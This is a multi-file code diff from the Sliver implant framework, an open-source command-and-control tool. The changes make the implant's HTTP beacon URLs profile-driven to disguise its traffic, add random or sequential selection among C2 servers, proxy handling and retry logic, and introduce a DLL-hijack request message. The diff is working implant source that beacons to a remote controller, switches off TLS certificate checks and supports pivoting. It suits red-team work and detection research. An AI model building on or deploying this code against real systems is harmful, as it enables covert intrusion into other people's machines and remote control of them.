req := s.newHTTPRequest(http.MethodPost, uri, reader)
resp, err := s.Client.Do(req)
if err != nil {
// {{if .Config.Debug}}
@@ -299,54 +345,105 @@ func (s *SliverHTTPClient) pathJoinURL(segments []string) string {
return strings.Join(segments, "/")
}
func (s *SliverHTTPClient) jsURL() string {
func (s *SliverHTTPClient) keyExchangeURL() *url.URL {
curl, _ := url.Parse(s.Origin)
segments := []string{"js", "static", "assets", "dist", "javascript"}
filenames := []string{"underscore.min.js", "jquery.min.js", "bootstrap.min.js"}
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
return curl.String()
segments := []string{
// {{range .HTTPC2ImplantConfig.KeyExchangePaths}}
"{{.}}",
// {{end}}
}
filenames := []string{
// {{range .HTTPC2ImplantConfig.KeyExchangeFiles}}
"{{.}}",
// {{end}}
}
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames, "{{.HTTPC2ImplantConfig.KeyExchangeFileExt}}"))
return curl
}
func (s *SliverHTTPClient) jspURL() string {
func (s *SliverHTTPClient) pollURL() *url.URL {
curl, _ := url.Parse(s.Origin)
segments := []string{"app", "admin", "upload", "actions", "api"}
filenames := []string{"login.jsp", "admin.jsp", "session.jsp", "action.jsp"}
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
return curl.String()
segments := []string{
// {{range .HTTPC2ImplantConfig.PollPaths}}
"{{.}}",
// {{end}}
}
filenames := []string{
// {{range .HTTPC2ImplantConfig.PollFiles}}
"{{.}}",
// {{end}}
}
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames, "{{.HTTPC2ImplantConfig.PollFileExt}}"))
return curl
}
func (s *SliverHTTPClient) phpURL() string {
curl, _ := url.Parse(s.Origin)
segments := []string{"api", "rest", "drupal", "wordpress"}
filenames := []string{"login.php", "signin.php", "api.php", "samples.php"}
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
return curl.String()
func (s *SliverHTTPClient) startSessionURL() *url.URL {
sessionURI := s.sessionURL()
uri := strings.TrimSuffix(sessionURI.String(), "{{ .HTTPC2ImplantConfig.SessionFileExt }}")
uri += "{{ .HTTPC2ImplantConfig.StartSessionFileExt }}"
curl, _ := url.Parse(uri)
return curl
}
func (s *SliverHTTPClient) txtURL() string {
func (s *SliverHTTPClient) sessionURL() *url.URL {
curl, _ := url.Parse(s.Origin)
segments := []string{"static", "www", "assets", "text", "docs", "sample"}
filenames := []string{"robots.txt", "sample.txt", "info.txt", "example.txt"}
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
return curl.String()
segments := []string{
// {{range .HTTPC2ImplantConfig.SessionPaths}}
"{{.}}",
// {{end}}
}
filenames := []string{
// {{range .HTTPC2ImplantConfig.SessionFiles}}
"{{.}}",
// {{end}}
}
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames, "{{.HTTPC2ImplantConfig.SessionFileExt}}"))
return curl
}
func (s *SliverHTTPClient) randomPath(segments []string, filenames []string) []string {
n := insecureRand.Intn(2) // How many segments?
func (s *SliverHTTPClient) closeURL() *url.URL {
curl, _ := url.Parse(s.Origin)
segments := []string{
// {{range .HTTPC2ImplantConfig.ClosePaths}}
"{{.}}",
// {{end}}
}
filenames := []string{
// {{range .HTTPC2ImplantConfig.CloseFiles}}
"{{.}}",
// {{end}}
}
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames, "{{.HTTPC2ImplantConfig.CloseFileExt}}"))
return curl
}
// Must return at least a file name, path segments are optional
func (s *SliverHTTPClient) randomPath(segments []string, filenames []string, ext string) []string {
genSegments := []string{}
for index := 0; index < n; index++ {
seg := segments[insecureRand.Intn(len(segments))]
genSegments = append(genSegments, seg)
if 0 < len(segments) {
n := insecureRand.Intn(len(segments)) // How many segments?
for index := 0; index < n; index++ {
seg := segments[insecureRand.Intn(len(segments))]
genSegments = append(genSegments, seg)
}
}
filename := filenames[insecureRand.Intn(len(filenames))]
genSegments = append(genSegments, filename)
// {{if .Config.Debug}}
log.Printf("[http] segments = %v, filename = %s, ext = %s", genSegments, filename, ext)
// {{end}}
genSegments = append(genSegments, fmt.Sprintf("%s.%s", filename, ext))
return genSegments
}
// [ HTTP(S) Clients ] ------------------------------------------------------------
func httpClient(address string, useProxy bool) *SliverHTTPClient {
httpTransport := &http.Transport{
func httpClient(address string, proxyConfig string) *SliverHTTPClient {
transport := &http.Transport{
Dial: proxy.Direct.Dial,
TLSHandshakeTimeout: defaultNetTimeout,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
@@ -356,31 +453,15 @@ func httpClient(address string, useProxy bool) *SliverHTTPClient {
Client: &http.Client{
Jar: cookieJar(),
Timeout: defaultReqTimeout,
Transport: httpTransport,
Transport: transport,
},
}
if useProxy {
p := proxy.NewProvider("").GetHTTPProxy(client.Origin)
if p != nil {
// {{if .Config.Debug}}
log.Printf("Found proxy %#v\n", p)
// {{end}}
proxyURL := p.URL()
if proxyURL.Scheme == "" {
proxyURL.Scheme = "http"
}
// {{if .Config.Debug}}
log.Printf("Proxy URL = '%s'\n", proxyURL)
// {{end}}
httpTransport.Proxy = http.ProxyURL(proxyURL)
client.ProxyURL = proxyURL.String()
}
}
parseProxyConfig(client, transport, proxyConfig)
return client
}
func httpsClient(address string, useProxy bool) *SliverHTTPClient {
netTransport := &http.Transport{
func httpsClient(address string, proxyConfig string) *SliverHTTPClient {
transport := &http.Transport{
Dial: (&net.Dialer{
Timeout: defaultNetTimeout,
}).Dial,
@@ -392,10 +473,20 @@ func httpsClient(address string, useProxy bool) *SliverHTTPClient {
Client: &http.Client{
Jar: cookieJar(),
Timeout: defaultReqTimeout,
Transport: netTransport,
Transport: transport,
},
}
if useProxy {
parseProxyConfig(client, transport, proxyConfig)
return client
}
func parseProxyConfig(client *SliverHTTPClient, transport *http.Transport, proxyConfig string) {
switch proxyConfig {
case "never":
break
case "":
fallthrough
case "auto":
p := proxy.NewProvider("").GetHTTPSProxy(client.Origin)
if p != nil {
// {{if .Config.Debug}}
@@ -408,11 +499,26 @@ func httpsClient(address string, useProxy bool) *SliverHTTPClient {
// {{if .Config.Debug}}
log.Printf("Proxy URL = '%s'\n", proxyURL)
// {{end}}
netTransport.Proxy = http.ProxyURL(proxyURL)
transport.Proxy = http.ProxyURL(proxyURL)
client.ProxyURL = proxyURL.String()
}
default:
// {{if .Config.Debug}}
log.Printf("Force proxy %#v\n", proxyConfig)
// {{end}}
proxyURL, err := url.Parse(proxyConfig)
if err != nil {
break
}
if proxyURL.Scheme == "" {
proxyURL.Scheme = "https"
}
// {{if .Config.Debug}}
log.Printf("Proxy URL = '%s'\n", proxyURL)
// {{end}}
transport.Proxy = http.ProxyURL(proxyURL)
client.ProxyURL = proxyURL.String()
}
return client
}
// Jar - CookieJar implementation that ignores domains/origins
+3 -5
View File
@@ -33,7 +33,6 @@ import (
"os"
"github.com/bishopfox/sliver/protobuf/sliverpb"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
@@ -63,9 +62,9 @@ func socketWritePing(connection *tls.Conn) error {
// {{end}}
// We don't need a real nonce here, we just need to write to the socket
pingBuf, _ := proto.Marshal(&sliverpb.Ping{Nonce: 31337})
envelope := sliverpb.Envelope{
Type: sliverpb.MsgPing,
pingBuf, _ := proto.Marshal(&pb.Ping{Nonce: 31337})
envelope := pb.Envelope{
Type: pb.MsgPing,
Data: pingBuf,
}
return socketWriteEnvelope(connection, &envelope)
@@ -152,7 +151,6 @@ func getTLSConfig() *tls.Config {
InsecureSkipVerify: true, // Don't worry I sorta know what I'm doing
VerifyPeerCertificate: rootOnlyVerifyCertificate,
}
tlsConfig.BuildNameToCertificate()
return tlsConfig
}
+2 -2
View File
@@ -18,7 +18,7 @@ const (
writeBufSizeTCP = 1024
)
func tcpPivoteWriteEnvelope(conn *net.Conn, envelope *sliverpb.Envelope) error {
func tcpPivotWriteEnvelope(conn *net.Conn, envelope *sliverpb.Envelope) error {
data, err := proto.Marshal(envelope)
if err != nil {
// {{if .Config.Debug}}
@@ -87,7 +87,7 @@ func tcpPivotReadEnvelope(conn *net.Conn) (*sliverpb.Envelope, error) {
err = proto.Unmarshal(dataBuf, envelope)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[tcppivot] Unmarshaling envelope error: %v", err)
log.Printf("[tcppivot] Unmarshal envelope error: %v", err)
// {{end}}
return &sliverpb.Envelope{}, err
}
@@ -1,8 +1,10 @@
package shell
//go:build !windows
package transports
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -16,21 +18,19 @@ package shell
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
-----------------------------------------------------------------------
Place holder so we don't get undefined functions when compiling to
non-Windows platforms.
*/
var (
// Shell constants
bash = []string{"/bin/bash"}
sh = []string{"/bin/sh"}
import (
"errors"
"net/url"
)
// GetSystemShellPath - Find bash or sh
func GetSystemShellPath(path string) []string {
if exists(path) {
return []string{path}
}
if exists(bash[0]) {
return bash
}
return sh
func namedPipeConnect(_ *url.URL) (*Connection, error) {
return nil, errors.New("not supported")
}
+75 -82
View File
@@ -19,10 +19,10 @@ package transports
*/
import (
insecureRand "math/rand"
// {{if or .Config.HTTPc2Enabled .Config.TCPPivotc2Enabled .Config.WGc2Enabled}}
"net"
// {{end}}
// {{if .Config.Debug}}
@@ -33,6 +33,7 @@ import (
// {{if .Config.WGc2Enabled}}
"errors"
// {{end}}
"io"
"net/url"
"os"
@@ -40,7 +41,6 @@ import (
"sync"
"time"
"github.com/bishopfox/sliver/protobuf/sliverpb"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
// {{if .Config.HTTPc2Enabled}}
@@ -107,6 +107,10 @@ type Tunnel struct {
WriteSequence uint64
}
func init() {
insecureRand.Seed(time.Now().UnixNano())
}
// Tunnel - Add tunnel to mapping
func (c *Connection) Tunnel(ID uint64) *Tunnel {
c.mutex.RLock()
@@ -130,8 +134,8 @@ func (c *Connection) RemoveTunnel(ID uint64) {
}
func (c *Connection) RequestResend(data []byte) {
c.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelData,
c.Send <- &pb.Envelope{
Type: pb.MsgTunnelData,
Data: data,
}
}
@@ -289,14 +293,45 @@ func GetActiveConnection() *Connection {
}
func nextCCServer() *url.URL {
uri, err := url.Parse(ccServers[*ccCounter%len(ccServers)])
var next string
switch "{{.Config.ConnectionStrategy}}" {
case "r": // Random
next = ccServers[insecureRand.Intn(len(ccServers))]
case "rd": // Random Domain
next = randomCCDomain(ccServers[*ccCounter%len(ccServers)])
case "s": // Sequential
next = ccServers[*ccCounter%len(ccServers)]
default:
next = ccServers[*ccCounter%len(ccServers)]
}
*ccCounter++
uri, err := url.Parse(next)
if err != nil {
return nextCCServer()
}
return uri
}
// randomCCDomain - Random selection within a protocol
func randomCCDomain(next string) string {
uri, err := url.Parse(next)
if err != nil {
return next
}
pool := []string{}
protocol := uri.Scheme
for _, cc := range ccServers {
uri, err := url.Parse(cc)
if err != nil {
continue
}
if uri.Scheme == protocol {
pool = append(pool, cc)
}
}
return pool[insecureRand.Intn(len(pool))]
}
// GetReconnectInterval - Parse the reconnect interval inserted at compile-time
func GetReconnectInterval() time.Duration {
if reconnectInterval == -1 {
@@ -400,12 +435,12 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
}
err := socketWriteEnvelope(conn, envelope)
if err != nil {
break
return
}
case <-time.After(mtlsPingInterval):
socketWritePing(conn)
if err != nil {
break
return
}
}
}
@@ -490,12 +525,12 @@ func wgConnect(uri *url.URL) (*Connection, error) {
}
err := socketWGWriteEnvelope(conn, envelope)
if err != nil {
break
return
}
case <-time.After(mtlsPingInterval):
socketWGWritePing(conn)
if err != nil {
break
return
}
}
}
@@ -524,12 +559,13 @@ func wgConnect(uri *url.URL) (*Connection, error) {
// {{end}} -WGc2Enabled
// {{if .Config.HTTPc2Enabled}}
func httpConnect(uri *url.URL) (*Connection, error) {
func httpConnect(c2URI *url.URL) (*Connection, error) {
// {{if .Config.Debug}}
log.Printf("Connecting -> http(s)://%s", uri.Host)
log.Printf("Connecting -> http(s)://%s", c2URI.Host)
// {{end}}
client, err := HTTPStartSession(uri.Host, uri.Path)
proxyConfig := c2URI.Query().Get("proxy")
client, err := HTTPStartSession(c2URI.Host, c2URI.Path, proxyConfig)
if err != nil {
// {{if .Config.Debug}}
log.Printf("http(s) connection error %v", err)
@@ -572,37 +608,52 @@ func httpConnect(uri *url.URL) (*Connection, error) {
go func() {
defer connection.Cleanup()
errCount := 0 // Number of sequential errors
for {
select {
case <-ctrl:
return
default:
resp, err := client.Poll()
switch err := err.(type) {
switch errType := err.(type) {
case nil:
errCount = 0
if len(resp) == 0 {
continue
}
envelope := &pb.Envelope{}
proto.Unmarshal(resp, envelope)
err = proto.Unmarshal(resp, envelope)
if err != nil {
// {{if .Config.Debug}}
log.Printf("failed to decode pb: %s", err)
// {{end}}
continue
}
recv <- envelope
case net.Error:
if err.Timeout() {
case *url.Error:
errCount++
if err, ok := errType.Err.(net.Error); ok && err.Timeout() {
// {{if .Config.Debug}}
log.Printf("non-fatal error, continue")
log.Printf("timeout error #%d", errCount)
// {{end}}
continue
if errCount < maxErrors {
continue
}
}
return
case *url.Error:
if err, ok := err.Err.(net.Error); ok && err.Timeout() {
case net.Error:
errCount++
if errType.Timeout() {
// {{if .Config.Debug}}
log.Printf("non-fatal error, continue")
log.Printf("timeout error #%d", errCount)
// {{end}}
continue
if errCount < maxErrors {
continue
}
}
return
default:
errCount++
// {{if .Config.Debug}}
log.Printf("[http] error: %#v", err)
// {{end}}
@@ -671,64 +722,6 @@ func dnsConnect(uri *url.URL) (*Connection, error) {
// {{end}} - .DNSc2Enabled
// {{if .Config.NamePipec2Enabled}}
func namedPipeConnect(uri *url.URL) (*Connection, error) {
conn, err := namePipeDial(uri)
if err != nil {
return nil, err
}
send := make(chan *pb.Envelope)
recv := make(chan *pb.Envelope)
ctrl := make(chan bool, 1)
connection := &Connection{
Send: send,
Recv: recv,
ctrl: ctrl,
tunnels: &map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
once: &sync.Once{},
IsOpen: true,
cleanup: func() {
// {{if .Config.Debug}}
log.Printf("[namedpipe] lost connection, cleanup...")
// {{end}}
close(send)
ctrl <- true
close(recv)
},
}
go func() {
defer connection.Cleanup()
for envelope := range send {
// {{if .Config.Debug}}
log.Printf("[namedpipe] send loop envelope type %d\n", envelope.Type)
// {{end}}
namedPipeWriteEnvelope(&conn, envelope)
}
}()
go func() {
defer connection.Cleanup()
for {
envelope, err := namedPipeReadEnvelope(&conn)
if err == io.EOF {
break
}
if err == nil {
recv <- envelope
// {{if .Config.Debug}}
log.Printf("[namedpipe] Receive loop envelope type %d\n", envelope.Type)
// {{end}}
}
}
}()
activeConnection = connection
return connection, nil
}
// {{end}} -NamePipec2Enabled
// {{if .Config.TCPPivotc2Enabled}}
func tcpPivotConnect(uri *url.URL) (*Connection, error) {
addr := strings.ReplaceAll(uri.String(), "tcppivot://", "")
@@ -763,7 +756,7 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
// {{if .Config.Debug}}
log.Printf("[tcp-pivot] send loop envelope type %d\n", envelope.Type)
// {{end}}
tcpPivoteWriteEnvelope(&conn, envelope)
tcpPivotWriteEnvelope(&conn, envelope)
}
}()
@@ -789,7 +782,7 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
// {{end}} -TCPPivotc2Enabled
// rootOnlyVerifyCertificate - Go doesn't provide a method for only skipping hostname validation so
// we have to disable all of the fucking certificate validation and re-implement everything.
// we have to disable all of the certificate validation and re-implement everything.
// https://github.com/golang/go/issues/21971
func rootOnlyVerifyCertificate(rawCerts [][]byte, _ [][]*x509.Certificate) error {
+18
View File
@@ -1,5 +1,23 @@
package version
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
func GetVersion() string {
return ""
}
@@ -1,6 +0,0 @@
package version
// GetVersion returns the os version information
func GetVersion() string {
return ""
}
@@ -1,8 +1,10 @@
package shell
//go:build !darwin && !(windows && (amd64 || 386)) && !(linux && (amd64 || 386))
package version
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -16,21 +18,14 @@ package shell
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
-----------------------------------------------------------------------
Place holder so we don't get undefined functions in generic builds.
*/
var (
// Shell constants
bash = []string{"/bin/bash"}
sh = []string{"/bin/sh"}
)
// GetSystemShellPath - Find bash or sh
func GetSystemShellPath(path string) []string {
if exists(path) {
return []string{path}
}
if exists(bash[0]) {
return bash
}
return sh
// GetVersion returns the os version information
func GetVersion() string {
return ""
}
+20
View File
@@ -1,5 +1,25 @@
//go:build amd64 || 386
package version
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"log"
+18
View File
@@ -1,5 +1,23 @@
package version
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
//{{if .Config.Debug}}
+275 -73
View File
@@ -666,6 +666,7 @@ type ImplantConfig struct {
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
ID string `protobuf:"bytes,100,opt,name=ID,proto3" json:"ID,omitempty"`
GOOS string `protobuf:"bytes,1,opt,name=GOOS,proto3" json:"GOOS,omitempty"`
GOARCH string `protobuf:"bytes,2,opt,name=GOARCH,proto3" json:"GOARCH,omitempty"`
Name string `protobuf:"bytes,3,opt,name=Name,proto3" json:"Name,omitempty"`
@@ -684,18 +685,19 @@ type ImplantConfig struct {
MaxConnectionErrors uint32 `protobuf:"varint,9,opt,name=MaxConnectionErrors,proto3" json:"MaxConnectionErrors,omitempty"`
PollInterval uint32 `protobuf:"varint,38,opt,name=PollInterval,proto3" json:"PollInterval,omitempty"`
// c2
C2 []*ImplantC2 `protobuf:"bytes,10,rep,name=C2,proto3" json:"C2,omitempty"`
CanaryDomains []string `protobuf:"bytes,11,rep,name=CanaryDomains,proto3" json:"CanaryDomains,omitempty"`
LimitDomainJoined bool `protobuf:"varint,20,opt,name=LimitDomainJoined,proto3" json:"LimitDomainJoined,omitempty"`
LimitDatetime string `protobuf:"bytes,21,opt,name=LimitDatetime,proto3" json:"LimitDatetime,omitempty"`
LimitHostname string `protobuf:"bytes,22,opt,name=LimitHostname,proto3" json:"LimitHostname,omitempty"`
LimitUsername string `protobuf:"bytes,23,opt,name=LimitUsername,proto3" json:"LimitUsername,omitempty"`
LimitFileExists string `protobuf:"bytes,32,opt,name=LimitFileExists,proto3" json:"LimitFileExists,omitempty"`
Format OutputFormat `protobuf:"varint,25,opt,name=Format,proto3,enum=clientpb.OutputFormat" json:"Format,omitempty"`
IsSharedLib bool `protobuf:"varint,26,opt,name=IsSharedLib,proto3" json:"IsSharedLib,omitempty"`
FileName string `protobuf:"bytes,27,opt,name=FileName,proto3" json:"FileName,omitempty"`
IsService bool `protobuf:"varint,28,opt,name=IsService,proto3" json:"IsService,omitempty"`
IsShellcode bool `protobuf:"varint,29,opt,name=IsShellcode,proto3" json:"IsShellcode,omitempty"`
C2 []*ImplantC2 `protobuf:"bytes,10,rep,name=C2,proto3" json:"C2,omitempty"`
CanaryDomains []string `protobuf:"bytes,11,rep,name=CanaryDomains,proto3" json:"CanaryDomains,omitempty"`
ConnectionStrategy string `protobuf:"bytes,39,opt,name=ConnectionStrategy,proto3" json:"ConnectionStrategy,omitempty"`
LimitDomainJoined bool `protobuf:"varint,20,opt,name=LimitDomainJoined,proto3" json:"LimitDomainJoined,omitempty"`
LimitDatetime string `protobuf:"bytes,21,opt,name=LimitDatetime,proto3" json:"LimitDatetime,omitempty"`
LimitHostname string `protobuf:"bytes,22,opt,name=LimitHostname,proto3" json:"LimitHostname,omitempty"`
LimitUsername string `protobuf:"bytes,23,opt,name=LimitUsername,proto3" json:"LimitUsername,omitempty"`
LimitFileExists string `protobuf:"bytes,32,opt,name=LimitFileExists,proto3" json:"LimitFileExists,omitempty"`
Format OutputFormat `protobuf:"varint,25,opt,name=Format,proto3,enum=clientpb.OutputFormat" json:"Format,omitempty"`
IsSharedLib bool `protobuf:"varint,26,opt,name=IsSharedLib,proto3" json:"IsSharedLib,omitempty"`
FileName string `protobuf:"bytes,27,opt,name=FileName,proto3" json:"FileName,omitempty"`
IsService bool `protobuf:"varint,28,opt,name=IsService,proto3" json:"IsService,omitempty"`
IsShellcode bool `protobuf:"varint,29,opt,name=IsShellcode,proto3" json:"IsShellcode,omitempty"`
}
func (x *ImplantConfig) Reset() {
@@ -730,6 +732,13 @@ func (*ImplantConfig) Descriptor() ([]byte, []int) {
return file_clientpb_client_proto_rawDescGZIP(), []int{3}
}
func (x *ImplantConfig) GetID() string {
if x != nil {
return x.ID
}
return ""
}
func (x *ImplantConfig) GetGOOS() string {
if x != nil {
return x.GOOS
@@ -863,6 +872,13 @@ func (x *ImplantConfig) GetCanaryDomains() []string {
return nil
}
func (x *ImplantConfig) GetConnectionStrategy() string {
if x != nil {
return x.ConnectionStrategy
}
return ""
}
func (x *ImplantConfig) GetLimitDomainJoined() bool {
if x != nil {
return x.LimitDomainJoined
@@ -4714,6 +4730,141 @@ func (x *AllHosts) GetHosts() []*Host {
return nil
}
// [ Dll Hijack ] ----------------------------------------
type DllHijackReq struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
ReferenceDLLPath string `protobuf:"bytes,1,opt,name=ReferenceDLLPath,proto3" json:"ReferenceDLLPath,omitempty"`
TargetLocation string `protobuf:"bytes,2,opt,name=TargetLocation,proto3" json:"TargetLocation,omitempty"`
ReferenceDLL []byte `protobuf:"bytes,3,opt,name=ReferenceDLL,proto3" json:"ReferenceDLL,omitempty"`
TargetDLL []byte `protobuf:"bytes,4,opt,name=TargetDLL,proto3" json:"TargetDLL,omitempty"`
ProfileName string `protobuf:"bytes,5,opt,name=ProfileName,proto3" json:"ProfileName,omitempty"`
Request *commonpb.Request `protobuf:"bytes,9,opt,name=Request,proto3" json:"Request,omitempty"`
}
func (x *DllHijackReq) Reset() {
*x = DllHijackReq{}
if protoimpl.UnsafeEnabled {
mi := &file_clientpb_client_proto_msgTypes[65]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *DllHijackReq) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*DllHijackReq) ProtoMessage() {}
func (x *DllHijackReq) ProtoReflect() protoreflect.Message {
mi := &file_clientpb_client_proto_msgTypes[65]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
}
return ms
}
return mi.MessageOf(x)
}
// Deprecated: Use DllHijackReq.ProtoReflect.Descriptor instead.
func (*DllHijackReq) Descriptor() ([]byte, []int) {
return file_clientpb_client_proto_rawDescGZIP(), []int{65}
}
func (x *DllHijackReq) GetReferenceDLLPath() string {
if x != nil {
return x.ReferenceDLLPath
}
return ""
}
func (x *DllHijackReq) GetTargetLocation() string {
if x != nil {
return x.TargetLocation
}
return ""
}
func (x *DllHijackReq) GetReferenceDLL() []byte {
if x != nil {
return x.ReferenceDLL
}
return nil
}
func (x *DllHijackReq) GetTargetDLL() []byte {
if x != nil {
return x.TargetDLL
}
return nil
}
func (x *DllHijackReq) GetProfileName() string {
if x != nil {
return x.ProfileName
}
return ""
}
func (x *DllHijackReq) GetRequest() *commonpb.Request {
if x != nil {
return x.Request
}
return nil
}
type DllHijack struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Response *commonpb.Response `protobuf:"bytes,9,opt,name=Response,proto3" json:"Response,omitempty"`
}
func (x *DllHijack) Reset() {
*x = DllHijack{}
if protoimpl.UnsafeEnabled {
mi := &file_clientpb_client_proto_msgTypes[66]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *DllHijack) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*DllHijack) ProtoMessage() {}
func (x *DllHijack) ProtoReflect() protoreflect.Message {
mi := &file_clientpb_client_proto_msgTypes[66]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
}
return ms
}
return mi.MessageOf(x)
}
// Deprecated: Use DllHijack.ProtoReflect.Descriptor instead.
func (*DllHijack) Descriptor() ([]byte, []int) {
return file_clientpb_client_proto_rawDescGZIP(), []int{66}
}
func (x *DllHijack) GetResponse() *commonpb.Response {
if x != nil {
return x.Response
}
return nil
}
var File_clientpb_client_proto protoreflect.FileDescriptor
var file_clientpb_client_proto_rawDesc = []byte{
@@ -4776,8 +4927,9 @@ var file_clientpb_client_proto_rawDesc = []byte{
0x72, 0x69, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x52, 0x4c, 0x18, 0x02,
0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x55, 0x52, 0x4c, 0x12, 0x18, 0x0a, 0x07, 0x4f, 0x70, 0x74,
0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x4f, 0x70, 0x74, 0x69,
0x6f, 0x6e, 0x73, 0x22, 0xfc, 0x07, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43,
0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20,
0x6f, 0x6e, 0x73, 0x22, 0xbc, 0x08, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43,
0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x64, 0x20, 0x01, 0x28,
0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20,
0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41,
0x52, 0x43, 0x48, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43,
0x48, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52,
@@ -4816,7 +4968,10 @@ var file_clientpb_client_proto_rawDesc = []byte{
0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x32,
0x52, 0x02, 0x43, 0x32, 0x12, 0x24, 0x0a, 0x0d, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x44, 0x6f,
0x6d, 0x61, 0x69, 0x6e, 0x73, 0x18, 0x0b, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0d, 0x43, 0x61, 0x6e,
0x61, 0x72, 0x79, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x2c, 0x0a, 0x11, 0x4c, 0x69,
0x61, 0x72, 0x79, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x2e, 0x0a, 0x12, 0x43, 0x6f,
0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x74, 0x72, 0x61, 0x74, 0x65, 0x67, 0x79,
0x18, 0x27, 0x20, 0x01, 0x28, 0x09, 0x52, 0x12, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69,
0x6f, 0x6e, 0x53, 0x74, 0x72, 0x61, 0x74, 0x65, 0x67, 0x79, 0x12, 0x2c, 0x0a, 0x11, 0x4c, 0x69,
